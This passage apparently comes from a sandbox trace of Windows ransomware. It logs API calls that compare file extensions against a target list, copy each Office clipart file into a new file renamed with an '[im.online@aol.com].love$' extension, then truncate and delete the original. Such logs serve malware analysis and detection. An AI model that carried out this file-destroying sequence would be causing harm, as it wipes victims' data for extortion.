SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0120.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString=".doc") returned 4 [0120.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString=".docx") returned 5 [0120.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.344] lstrlenW (lpString=".pdf") returned 4 [0120.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString=".xls") returned 4 [0120.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.344] lstrlenW (lpString=".xlsx") returned 5 [0120.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.344] lstrlenW (lpString=".ppt") returned 4 [0120.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString=".zip") returned 4 [0120.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.344] lstrlenW (lpString=".rar") returned 4 [0120.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString=".bz2") returned 4 [0120.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString=".7z") returned 3 [0120.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString=".dbf") returned 4 [0120.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString=".1cd") returned 4 [0120.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString=".jpg") returned 4 [0120.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.344] lstrlenW (lpString=".doc") returned 4 [0120.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.344] lstrlenW (lpString=".docx") returned 5 [0120.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.345] lstrlenW (lpString=".pdf") returned 4 [0120.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.345] lstrlenW (lpString=".xls") returned 4 [0120.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.345] lstrlenW (lpString=".xlsx") returned 5 [0120.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.345] lstrlenW (lpString=".ppt") returned 4 [0120.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.345] lstrlenW (lpString=".zip") returned 4 [0120.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.345] lstrlenW (lpString=".rar") returned 4 [0120.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.345] lstrlenW (lpString=".bz2") returned 4 [0120.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.345] lstrlenW (lpString=".7z") returned 3 [0120.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.345] lstrlenW (lpString=".dbf") returned 4 [0120.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.345] lstrlenW (lpString=".1cd") returned 4 [0120.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0120.345] lstrlenW (lpString=".jpg") returned 4 [0120.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.345] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.345] lstrlenW (lpString="AN01174_.WMF") returned 12 [0120.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.346] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=27858) returned 1 [0120.346] CloseHandle (hObject=0x340) returned 1 [0120.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0120.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.346] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.346] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0120.347] GetLastError () returned 0x0 [0120.347] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0120.349] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0120.350] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.350] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0120.350] SetEndOfFile (hFile=0x384) returned 1 [0120.351] CloseHandle (hObject=0x384) returned 1 [0120.352] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.352] SetEndOfFile (hFile=0x340) returned 1 [0120.354] CloseHandle (hObject=0x340) returned 1 [0120.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0120.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.354] lstrlenW (lpString=".doc") returned 4 [0120.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString=".docx") returned 5 [0120.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.355] lstrlenW (lpString=".pdf") returned 4 [0120.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString=".xls") returned 4 [0120.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.355] lstrlenW (lpString=".xlsx") returned 5 [0120.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.355] lstrlenW (lpString=".ppt") returned 4 [0120.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.355] lstrlenW (lpString=".zip") returned 4 [0120.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.355] lstrlenW (lpString=".rar") returned 4 [0120.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString=".bz2") returned 4 [0120.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString=".7z") returned 3 [0120.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.355] lstrlenW (lpString=".dbf") returned 4 [0120.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.355] lstrlenW (lpString=".1cd") returned 4 [0120.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.355] lstrlenW (lpString=".jpg") returned 4 [0120.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.355] lstrlenW (lpString=".doc") returned 4 [0120.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.355] lstrlenW (lpString=".docx") returned 5 [0120.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.356] lstrlenW (lpString=".pdf") returned 4 [0120.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.356] lstrlenW (lpString=".xls") returned 4 [0120.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.356] lstrlenW (lpString=".xlsx") returned 5 [0120.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.356] lstrlenW (lpString=".ppt") returned 4 [0120.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.356] lstrlenW (lpString=".zip") returned 4 [0120.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.356] lstrlenW (lpString=".rar") returned 4 [0120.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.356] lstrlenW (lpString=".bz2") returned 4 [0120.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.356] lstrlenW (lpString=".7z") returned 3 [0120.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.356] lstrlenW (lpString=".dbf") returned 4 [0120.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.356] lstrlenW (lpString=".1cd") returned 4 [0120.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0120.356] lstrlenW (lpString=".jpg") returned 4 [0120.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.356] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.356] lstrlenW (lpString="AN01184_.WMF") returned 12 [0120.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.357] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3746) returned 1 [0120.357] CloseHandle (hObject=0x340) returned 1 [0120.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0120.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.357] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.358] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0120.358] GetLastError () returned 0x0 [0120.358] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xea2, lpOverlapped=0x0) returned 1 [0120.360] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0120.361] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.361] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0120.361] SetEndOfFile (hFile=0x384) returned 1 [0120.361] CloseHandle (hObject=0x384) returned 1 [0120.362] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.362] SetEndOfFile (hFile=0x340) returned 1 [0120.364] CloseHandle (hObject=0x340) returned 1 [0120.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0120.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.365] lstrlenW (lpString=".doc") returned 4 [0120.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString=".docx") returned 5 [0120.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.365] lstrlenW (lpString=".pdf") returned 4 [0120.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString=".xls") returned 4 [0120.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.365] lstrlenW (lpString=".xlsx") returned 5 [0120.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.365] lstrlenW (lpString=".ppt") returned 4 [0120.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.365] lstrlenW (lpString=".zip") returned 4 [0120.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.365] lstrlenW (lpString=".rar") returned 4 [0120.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString=".bz2") returned 4 [0120.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString=".7z") returned 3 [0120.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.365] lstrlenW (lpString=".dbf") returned 4 [0120.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.365] lstrlenW (lpString=".1cd") returned 4 [0120.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.366] lstrlenW (lpString=".jpg") returned 4 [0120.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.366] lstrlenW (lpString=".doc") returned 4 [0120.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.366] lstrlenW (lpString=".docx") returned 5 [0120.366] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.366] lstrlenW (lpString=".pdf") returned 4 [0120.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.366] lstrlenW (lpString=".xls") returned 4 [0120.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.366] lstrlenW (lpString=".xlsx") returned 5 [0120.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.366] lstrlenW (lpString=".ppt") returned 4 [0120.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.366] lstrlenW (lpString=".zip") returned 4 [0120.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.366] lstrlenW (lpString=".rar") returned 4 [0120.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.366] lstrlenW (lpString=".bz2") returned 4 [0120.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.366] lstrlenW (lpString=".7z") returned 3 [0120.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.366] lstrlenW (lpString=".dbf") returned 4 [0120.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.367] lstrlenW (lpString=".1cd") returned 4 [0120.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0120.367] lstrlenW (lpString=".jpg") returned 4 [0120.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.367] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.367] lstrlenW (lpString="AN01216_.WMF") returned 12 [0120.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.367] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=5836) returned 1 [0120.368] CloseHandle (hObject=0x340) returned 1 [0120.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0120.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0120.368] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.368] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0120.369] GetLastError () returned 0x0 [0120.369] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x16cc, lpOverlapped=0x0) returned 1 [0120.913] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x16d0, lpOverlapped=0x0) returned 1 [0120.914] ReadFile (in: hFile=0x340, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.915] WriteFile (in: hFile=0x384, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0120.915] SetEndOfFile (hFile=0x384) returned 1 [0120.915] CloseHandle (hObject=0x384) returned 1 [0120.917] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.917] SetEndOfFile (hFile=0x340) returned 1 [0120.919] CloseHandle (hObject=0x340) returned 1 [0120.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0120.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0120.919] lstrlenW (lpString="C:\\Program Files\\Microsoft 